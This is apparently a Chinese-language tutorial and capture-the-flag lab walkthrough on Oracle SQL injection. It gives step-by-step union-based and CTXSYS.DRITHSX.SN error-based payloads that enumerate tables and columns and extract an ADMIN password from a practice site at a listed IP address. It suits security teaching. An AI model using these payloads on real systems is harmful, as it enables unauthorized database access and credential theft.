Oracle注入-报错/显错注入
知识梳理
- SQL注入原理:用户输入的数据可以被拼接到原有代码执行
- SQL注入基本流程:
- (1). 判断注入点,例:
数字型:id=1 and 1=1
页面正常id=1 and 1=2
页面不正常;
字符型:单双引号、括号闭合,观察页面是否正常;
使用sleep()观察页面是否存在延迟; - (2)猜解字段数,例:
and 1=2 order by 1,2,3
通过观察页面是否正常来确定字段数 - (3)查看显错点
and 1=2 union select 1,2,3 from dual
通过发现显错位置可以知道在哪里输出想要的信息 - (4)查询表名、字段名、字段内容
-查询表名select from all_tables
查询出所有的表select from user_tables
查询出当前用户表
-查询字段名selectfrom all_tab_columns
查询出所有的字段selectfrom user_tab_columns
查询出当前用户所有的字段
-报错注入CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))
去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容。
rownum=1 (限制查询返回的总行数为一条)
to_nchar()函数是将字符数据从任何支持的字符集转换为 NCHAR 字符集
靶场演示(显错注入)
靶场地址
地址http://59.63.200.79:8015/?id=1
确认注入点
and 1=2
页面错误,存在注入点
判断字段数
order by 4
页面正常
order by 5
页面报错
判断显错位置
and 1=1 union all select 1,2,3
页面报错,说明不是MYSQL数据库,尝试使用空值构建语句and 1=1 union all select null,null,null --q
页面正常
and 1=2 union all select null,null,null,null from dual
页面正常说明,dual是Oracle特有的虚表,用于满足语法
构建查询语句确定字段字符类型and 1=2 union all select 1,to_nchar('null'),null,null from dual
查询表名
构建查询语句and 1=2 union all select 1,to_nchar(table_name),null,null from user_tables
公有三个表 NEWS/ADMIN/MD5
查询字段名
构建查询语句查询ADMIN表内信息and 1=2 union all select 1,to_nchar(column_name),null,null from user_tab_columns where table_name='ADMIN'
and 1=2 union all select 1,to_nchar(column_name),null,null from user_tab_columns where table_name='ADMIN' and column_name <> 'ID'
and 1=2 union all select 1,to_nchar(column_name),null,null from user_tab_columns where table_name='ADMIN' and column_name <> 'ID' and column_name <> 'UNAME'
and 1=2 union all select 1,to_nchar(column_name),null,null from user_tab_columns where table_name='ADMIN' and column_name <> 'ID' and column_name <> 'UNAME' and column_name <> 'UPASS'
得到三个字段 ID,UNAME,UPASS;
查询字段内容
构建查询语句查询NF的密码and 1=2 union all select 1,to_nchar(UPASS),NULL,NULL from ADMIN where UNAME='NF'
得到flag:2a61f8bcfe7535eadcfa69eb4406ceb9
报错注入
构建报错注入语句
查询表名
and 1=CTXSYS.DRITHSX.SN(user,(select table_name from user_tables where rownum=1))
查询字段名
and 1=CTXSYS.DRITHSX.SN(user,(select column_name from user_tab_columns where rownum=1))
查询内容
and 1=CTXSYS.DRITHSX.SN(user,(select UPASS from ADMIN where uname='NF'))
- 点赞
- 收藏
- 关注作者
评论(0)